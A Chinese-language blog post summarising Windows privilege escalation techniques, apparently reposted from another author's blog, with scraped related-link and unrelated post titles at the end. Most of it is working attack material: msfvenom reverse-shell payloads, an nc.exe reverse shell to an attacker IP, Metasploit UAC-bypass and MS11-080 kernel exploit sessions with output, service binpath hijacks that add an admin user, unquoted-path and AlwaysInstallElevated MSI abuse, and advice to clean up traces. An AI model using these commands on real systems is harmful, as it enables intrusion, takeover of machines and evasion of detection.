本文参考自冷逸大佬的博客,源地址在这里:https://lengjibo.github.io/windows%E6%8F%90%E6%9D%83%E6%80%BB%E7%BB%93/

windows提权

windows下的权限:

- user
- administrator
- system

一些常用命令:

systeminfo | findstr OS #获取系统版本信息
hostname #获取主机名称
whomai /priv #显示当前用户的安全特权
quser or query user #获取在线用户
netstat -ano | findstr #获取rdp连接来源IP
dir c:\programdata\ #分析安装杀软
wmic qfe get Caption,Description,HotFixID,InstalledOn #列出已安装的补丁
REG query HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\WinStations\RDP-Tcp /v PortNumber #获取远程端口
tasklist /svc | find "TermService" + netstat -ano #获取远程端口

windows 2003,xp

现在03的机器已经很少了,所以现在只是简单的说一些常见的思路,操作,第三方之类的除外

实验环境:

windows 2003:192.168.0.105

kali : 192.168.0.107

首先生成个木马:

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.0.107 LPORT= -f exe -o payload.exe

如果有waf,生成的木马文件会被删除,可以使用veil生成免杀马,当然如果只是为了反弹shell,也可以上传一个nc.exe,在目标服务器上执行nc正向连接:

nc.exe -e cmd.exe 192.168.0.107 

nc shell反弹成功后:

msf shell反弹成功后,查看当前权限

windows2003 可以直接 getsystem提权

提权失败,一般可能是uac的问题,尝试bypass uac

  • use exploit/windows/local/ask
msf5 exploit(multi/handler) > use exploit/windows/local/ask
msf5 exploit(windows/local/ask) > show options Module options (exploit/windows/local/ask): Name Current Setting Required Description
---- --------------- -------- -----------
FILENAME no File name on disk
PATH no Location on disk, %TEMP% used if not set
SESSION yes The session to run this module on.
TECHNIQUE EXE yes Technique to use (Accepted: PSH, EXE) Exploit target: Id Name
-- ----
Windows msf5 exploit(windows/local/ask) > set SESSION
SESSION =>
msf5 exploit(windows/local/ask) > set TECHNIQUE up.exe
[-] The following options failed to validate: Value 'up.exe' is not valid for option 'TECHNIQUE'.
TECHNIQUE => EXE
msf5 exploit(windows/local/ask) > set TECHNIQUE EXE
TECHNIQUE => EXE
msf5 exploit(windows/local/ask) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf5 exploit(windows/local/ask) > set lhost 192.168.0.107
lhost => 192.168.0.107
msf5 exploit(windows/local/ask) > show options Module options (exploit/windows/local/ask): Name Current Setting Required Description
---- --------------- -------- -----------
FILENAME no File name on disk
PATH no Location on disk, %TEMP% used if not set
SESSION yes The session to run this module on.
TECHNIQUE EXE yes Technique to use (Accepted: PSH, EXE) Payload options (windows/meterpreter/reverse_tcp): Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC process yes Exit technique (Accepted: '', seh, thread, process, none)
LHOST 192.168.0.107 yes The listen address (an interface may be specified)
LPORT yes The listen port Exploit target: Id Name
-- ----
Windows msf5 exploit(windows/local/ask) > sessions -i Active sessions
=============== Id Name Type Information Connection
-- ---- ---- ----------- ----------
meterpreter x86/windows SERVER-816F6090\xiaoming @ SERVER-816F6090 192.168.0.107: -> 192.168.0.105: (192.168.0.105)
meterpreter x86/windows SERVER-816F6090\xiaoming @ SERVER-816F6090 192.168.0.107: -> 192.168.0.105: (192.168.0.105) msf5 exploit(windows/local/ask) > exploit [*] Started reverse TCP handler on 192.168.0.107:
[+] UAC is not enabled, no prompt for the user
[*] Uploading VerOkoVbPk.exe - bytes to the filesystem...
[*] Executing Command!

或者

  • use exploit/windows/local/bypassuac
  • use exploit/windows/local/bypassuac_injection

使用漏洞提权

meterpreter > run post/windows/gather/enum_patches

[+] KB2871997 is missing
[+] KB2928120 is missing
[+] KB977165 - Possibly vulnerable to MS10- kitrap0d if Windows 2K SP4 - Windows (x86)
[+] KB2305420 - Possibly vulnerable to MS10- schelevator if Vista, , and
[+] KB2592799 - Possibly vulnerable to MS11- afdjoinleaf if XP SP2/SP3 Win 2k3 SP2
[+] KB2778930 - Possibly vulnerable to MS13- hwnd_broadcast, elevates from Low to Medium integrity
[+] KB2850851 - Possibly vulnerable to MS13- schlamperei if x86 Win7 SP0/SP1
[+] KB2870008 - Possibly vulnerable to MS13- track_popup_menu if x86 Windows SP0/SP1

以ms11-080为例

msf5 > use exploit/windows/local/ms11_080_afdjoinleaf
msf5 exploit(windows/local/ms11_080_afdjoinleaf) > show options Module options (exploit/windows/local/ms11_080_afdjoinleaf): Name Current Setting Required Description
---- --------------- -------- -----------
SESSION yes The session to run this module on. Exploit target: Id Name
-- ----
Automatic msf5 exploit(windows/local/ms11_080_afdjoinleaf) > set SESSION
SESSION =>
msf5 exploit(windows/local/ms11_080_afdjoinleaf) > run [*] Started reverse TCP handler on 192.168.0.107:
[*] Running against Windows Server SP2
[*] HaliQuerySystemInformation Address: 0x80a6ba1e
[*] HalpSetSystemInformation Address: 0x80a6dc60
[*] Triggering AFDJoinLeaf pointer overwrite...
[*] Injecting the payload into SYSTEM process: winlogon.exe
[*] Sending stage ( bytes) to 192.168.0.105
[*] Restoring the original token...
[*] Meterpreter session opened (192.168.0.107: -> 192.168.0.105:) at -- :: + meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM

提权成功

at命令提权

在 Windows2000、Windows 2003、Windows XP 这三类系统中,我们可以轻松将Administrators 组下的用户权限提升到 SYSTEM

at 是一个发布定时任务计划的命令行工具,语法比较简单。通过 at 命令发布的定时任务计划, Windows 默认以 SYSTEM 权限运行。定时任务计划可以是批处理、

可以是一个二进制文件。

语法:at 时间 命令

例子:at 10:45PM calc.exe 

该命令会发布一个定时任务计划,在每日的 10:45 启动 calc.exe。

我们可以通过 “/interactive”开启界面交互模式:

at :45PM /interactive calc.exe 

在得到一个system的cmd之后,使用taskmgr命令调用任务管理器,此时的任务管理器是system权限,然后kill掉explore进程,

再使用任务管理器新建explore进程,将会得到一个system的桌面环境

at配合msf提权

可以采用 Regsvr32 一条命令上线

msf下配置

cmd下执行

等待上线

可是这里一般会出现问题..

然后我们也可以选择上线木马的方式来获取shell

等待上线

上线后为system

windows 7,8,12,16

SC命令提权

ps:经测试03也可以

关于sc命令:

SC 是用于与服务控制管理器和服务进行通信的命令行程序。提供的功能类似于“控制面板”中“管理工具”项中的“服务”。

创建一个名叫syscmd的新的交互式的cmd服务:

SC Create syscmd binPath= "cmd /K start" type= own type= interact

然后执行:

sc start systcmd

就得到了一个system权限的cmd环境

通过不带引号的服务路径

当系统管理员配置Windows服务时,他们必须指定要执行的命令,或者运行可执行文件的路径。

当Windows服务运行时,会发生以下两种情况之一。如果给出了可执行文件,并且引用了完整路径,则系统会按字面解释它并执行。但是,如果服务的二进制路径未包含在引号中,则操作系统将会执行找到的空格分隔的服务路径的第一个实例。

这可能有点不直观,所以让我们来看一个实际的例子。假设服务配置类似于以下存在bug的示例服务:

Windows命令解释程序可能会遇到名称中的空格,并且希望通过将字符串包装在引号中来对它们进行转义。在上面的示例中,如果系统运行该服务,它将尝试运行以下可执行文件:

C:\Program.exe
C:\Program Files\Vulnerable.exe
C:\Program Files\Vulnerable Service\Sub.exe
C:\Program Files\Vulnerable Service\Sub Directory\service.exe

所以如果我们能够上传一个适当命名的恶意可执行程序在受影响的目录,服务一旦重启,我们的恶意程序就会以system权限运行(大多数情况下)。

我们可以使用以下命令查看错误配置的路径

wmic service get name,displayname,pathname,startmode |findstr /i "Auto" |findstr /i /v "C:\Windows\\" |findstr /i /v """

这里我们枚举出下列路径:

C:\Program Files (x86)\Cisco\Cisco HostScan\bin\ciscod.exe

这个路径没有被双引号包裹,而且文件名中也存在空格。

现在,我们需要使用下列命令识别文件目录权限,判断是否有写入权限:

icacls C:\Program Files (x86)\Cisco

(M)代表修改权限,(F)代表完全控制,(CI)代表从属容器将继承访问控制项,(OI)代表从属文件将继承访问控制项。

如果它给任何人提供了写入权限,这也就意味着任何用户都可以重写该文件

将我们需要执行的exe根据需要重命名并放置在可写入的有漏洞目录下,然后运行如下命令尝试重启服务,如果失败的话等待服务器重启时执行exe,成功提权后记得清理痕迹。

重启机器:

sc stop service_name
sc start service_name

假如我们的exe会弹回一个SYSTEM权限的meterpreter shell,但是我们新得到的会话很快就中断了。这是因为当一个服务在Windows系统中启动后,它必须和服务控制管理器通信。如果没有通信,服务控制管理器会认为出现了错误,并会终止这个进程。我们所有需要做的就是在终止载荷进程之前,将它迁移到其它进程,也可以使用自动迁移:

set AutoRunScript migrate -f

此外msf下已经集成了该模块(exploit/windows/local/trusted_service_path )

不过不太好用...

不安全的服务权限

Windows系统服务文件在操作系统启动时会加载执行,并且在后台调用可执行文件。比如,JAVA升级程序,每次重启系统时,JAVA升级程序会检测Oracle网站,是否有新版JAVA程序。而类似JAVA程序之类的系统服务程序加载时往往都是运行在系统权限上的。所以如果一个低权限的用户对于此类系统服务调用的可执行文件具有可写的权限,那么就可以将其替换成我们的恶意可执行文件,从而随着系统启动服务而获得系统权限。

metasploit集成了漏洞利用模块exploit/windows/local/service_permissions。

1.检查易受攻击的服务.SERVICE_ALL_ACCESS的意思是我们对“Vulnerable Service”的属性拥有完全控制权。

accesschk.exe -uwcqv "Authenticated Users" * /accepteula

accesschk.exe -uwcqv "user" *

2.查看可以完全控制的服务的属性:

sc qc "Service"

3.修改服务配置执行命令。BINARY_PATH_NAME参数指向了该服务的可执行程序(PFNET)路径。如果我们将这个值修改成任何命令,那意味着这个命令在该服务下一次启动时,将会以SYSTEM权限运行。

sc config PFNET binpath= "net user rottenadmin P@ssword123! /add"
sc stop PFNET
sc start PFNET
sc config PFNET binpath= "net localgroup rottenadmin P@ssword123! /add"
sc stop PFNET
sc start PFNET

当尝试启动服务时,它会返回一个错误。这一点我们之前已经讨论过了,在Windows系统中,当一个服务在Windows系统中启动后,它必须和服务控制管理器通信。如果没有通信,服务控制管理器会认为出现了错误,并会终止这个进程。上面的“net user”肯定是无法和服务管理器通信的,但是不用担心,我们的命令已经以SYSTEM权限运行了,并且成功添加了一个用户。

4.提权成功后修改服务配置,清理痕迹。

任意用户以NT AUTHORITY\SYSTEM权限安装msi

AlwaysInstallElevated是一个策略设置,允许非管理用户以SYSTEM权限运行Microsoft Windows安装程序包(.MSI文件)的设置。默认情况下禁用此设置,需系统管理员手动启用他,当在系统中使用Windows Installer安装任何程序时,该参数允许非特权用户以system权限运行MSI文件。如果目标系统上启用了这一设置,我们可以使用msf生成msi文件来以system权限执行任意payload。

可以通过查询以下注册表来识别此设置,当两个注册表键值查询结果均为1时,代表该策略已启用。:

[HKEY_CURRENT_USER\SOFTWARE\Policies\Microsoft\Windows\Installer] “AlwaysInstallElevated”=dword:
[HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\Installer] “AlwaysInstallElevated”=dword:

详细利用步骤如下:

使用reg query命令查询是否存在漏洞

reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
or
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated

如果存在漏洞,上面将输出以下内容

如果系统没这个漏洞,它将输出错误

C:\Users\hp\Desktop>reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
ERROR: The system was unable to find the specified registry key or value.

然后我们使用msfvenom生成msi文件,进行提权

msfvenom -p windows/adduser USER=test000 PASSWORD=password123! -f msi -o rotten.msi

然后使用

msiexec /quiet /qn /i C:\Users\Steve.INFERNO\Downloads\rotten.msi 

即可

另附参考链接:

提权系列(一)----Windows Service 服务器提权初识与exp提权,mysql提权

提权系列(二)----Windows Service 服务器提权之Mssql提权,GetPass提权,hash提权,LPK提权

Windows提权系列————上篇

Windows平台下实现提权的新姿势

35.windows提权总结的更多相关文章

  1. 「白帽黑客成长记」Windows提权基本原理(上)

    我们通常认为配置得当的Windows是安全的,事实真的是这样吗?今天让我们跟随本文作者一起深入了解Windows操作系统的黑暗角落,看看是否能得到SYSTEM权限. 作者将使用不同版本的Windows ...

  2. [转帖]「白帽黑客成长记」Windows提权基本原理(上)

    「白帽黑客成长记」Windows提权基本原理(上) https://www.cnblogs.com/ichunqiu/p/10949592.html 我们通常认为配置得当的Windows是安全的,事实 ...

  3. 2017-2018-2 20155315《网络对抗技术》免考五:Windows提权

    原理 使用metasploit使目标机成功回连之后,要进一步攻击就需要提升操作权限.对于版本较低的Windows系统,在回连的时候使用getsystem提权是可以成功的,但是对于更高的系统操作就会被拒 ...

  4. 「白帽黑客成长记」Windows提权基本原理(下)

    上一篇文章我们介绍了信息收集方法和WMIC,今天我们将跟随作者深入学习Windows提权基本原理的内容,希望通过这两篇文章的讲解,大家能够真正掌握这个技能. 推荐阅读:「白帽黑客成长记」Windows ...

  5. [转帖]「白帽黑客成长记」Windows提权基本原理(下)

    「白帽黑客成长记」Windows提权基本原理(下) https://www.cnblogs.com/ichunqiu/p/10968674.html 提权.. 之前还在想 为什么 我的 sqlserv ...

  6. Windows提权小结

    摸鱼的时候,想想内网这部分还有什么地方适合水一下,翻翻往期,开始填坑 总结一下Windows提权的部分,以后有时间再补一下Linux提权 这仍然是一篇思路总结类的随笔,具体细节内容不展开,也展开不了. ...

  7. windows提权操作以及系统开机关机重启代码(用到了LookupPrivilegeValue和AdjustTokenPrivileges调整进程的Token权限)

    对于UAC提权操作,一般在编译期间,如果程序有需求要提权,会在编译器里设置,vs2010比较简单,在工程属性里可以直接设置,vs2005稍微有点儿麻烦,参考这篇文章: http://www.seany ...

  8. Windows提权与开启远程连接

    1.提权: 建立普通用户:net user 帐户 密码 /add 提权成管理员:net localgroup administrators 帐户 /add 更改用户密码:net user 帐户 密码 ...

  9. windows提权的几种姿势

    想象这种画面:你拿到了一台机器上Meterpreter会话了,然后你准备运行 getsystem 命令进行提权,但如果提权没有成功,你就准备认输了吗?只有懦夫才会认输.但是你不是,对吗?你是一个勇者! ...

随机推荐

  1. CSS3分享按钮动画特效

    在线演示 本地下载

  2. 字典树 HDU 1251 统计难题

    ;} 之前写的#include<iostream> #include<algorithm> #include<stdio.h> using namespace st ...

  3. MongoDB分片搭建

    环境 $ cat /etc/redhat-release CentOS Linux release 7.0.1406 (Core) $ uname -a Linux zhaopin-2-201 3.1 ...

  4. Java -- 内部类, 成员内部类,局部内部类,匿名内部类,闭包和回调, 枚举类

    1. 成员内部类分为  静态内部类 和 非静态内部类. 非静态内部类 和 外部类的其他成员一样处理, 非静态内部类可以访问外部类的private的属性,而外部类不能访问非静态内部类的属性,需要实例非静 ...

  5. 解决xhost: unable to open display ""

    首先安装vncserver,如图: 切换账户:sudo su到root下 执行:export DISPLAY=:0.0 执行:xhost +,如图:

  6. SpringMVC简单实例(看起来有用)

    SpringMVC简单实例(看起来有用) 参考: SpringMVC 基础教程 简单入门实例 - CSDN博客http://blog.csdn.net/swingpyzf/article/detail ...

  7. Python基础-常用模块OS

    模块:一个python文件就是一个模块,模块分三种: 1,标准模块,也就是python自带的模块,例如import  time,random,string等等 2,第三方模块,这种模块需要自己安装才能 ...

  8. Javascript-- jQuery DOM篇(一)

    DOM创建节点及节点属性 通过JavaScript可以很方便的获取DOM节点,从而进行一系列的DOM操作.但实际上一般开发者都习惯性的先定义好HTML结构,但这样就非常不灵活了. 浏览器提供的一些原生 ...

  9. leetcode 205. Isomorphic Strings(哈希表)

    Given two strings s and t, determine if they are isomorphic. Two strings are isomorphic if the chara ...

  10. 利用perlin noise 生成 wood texture

    %%% Perlin Noise %%% Wood_texture clc; clear all; close all; addpath('E:\PhotoShop Algortihm\Image P ...